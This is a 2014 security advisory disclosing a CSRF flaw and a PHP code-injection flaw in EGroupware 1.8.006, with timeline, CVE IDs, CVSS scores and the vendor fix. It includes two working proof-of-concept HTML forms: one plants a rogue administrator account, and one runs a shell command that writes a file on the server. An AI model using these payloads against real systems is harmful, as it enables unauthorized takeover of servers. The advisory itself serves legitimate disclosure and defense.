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CSRF and Remote Code Execution in EGroupware

Advisory ID:HTB23212
Vulnerable Versions:1.8.006 community edition and probably prior
Tested Version:1.8.006 community edition
Advisory Publication:April 23, 2014 [without technical details]
Vendor Notification:April 23, 2014
Vendor Fix:May 6, 2014
Public Disclosure:May 14, 2014
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Code Injection [CWE-94]
CVE References:CVE-2014-2987
Risk Level:High
CVSSv2 Base Scores:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system.

1) Сross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987

The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit.
Simple CSRF exploit below creates new administrator with login "immuniweb" and password "immuniweb":
<form action="http://[host]/index.php?menuaction=admin.uiaccounts.add_user" method="post" name="main">
<input type="hidden" name="account_lid" value="immuniweb">
<input type="hidden" name="account_status" value="A">
<input type="hidden" name="account_firstname" value="firstname">
<input type="hidden" name="account_lastname" value="lastname">
<input type="hidden" name="account_passwd" value="immuniweb">
<input type="hidden" name="account_passwd_2" value="immuniweb">
<input type="hidden" name="changepassword" value="1">
<input type="hidden" name="expires" value="2014/04/29">
<input type="hidden" name="never_expires" value="True">
<input type="hidden" name="account_email" value="">
<input type="hidden" name="account_groups[]" value="-2">
<input type="hidden" name="account_primary_group" value="-2">
<input type="hidden" name="submit" value="Add">
<input type="submit" id="btn">

2) Code Injection in EGroupware: CVE-2014-2988

The vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST "newsettings" parameter to PHP function "call_user_func()". A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver.

This vulnerability can be exploited in pair with the above-described CSRF vulnerability.
The following exploitation example writes "immuniweb" word into file "/1.php":
<form action="http://[host]/index.php?menuaction=admin.uiconfig.index&appname=phpb rain" method="post" name="main">
<input type="hidden" name="newsettings[system]" value="echo immuniweb>1.php">
<input type="hidden" name="submit" value="Save">
<input type="submit" id="btn">

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
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Update to EGroupware version 1.8.007

More Information:

[1] High-Tech Bridge Advisory HTB23212 - - CSRF and Remote Code Execution in EGroupware.
[2] EGroupware - - EGroupware is the leading open source collaboration tool and the top choice for big enterprises, SMEs and teams within and across organizations all over the globe.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

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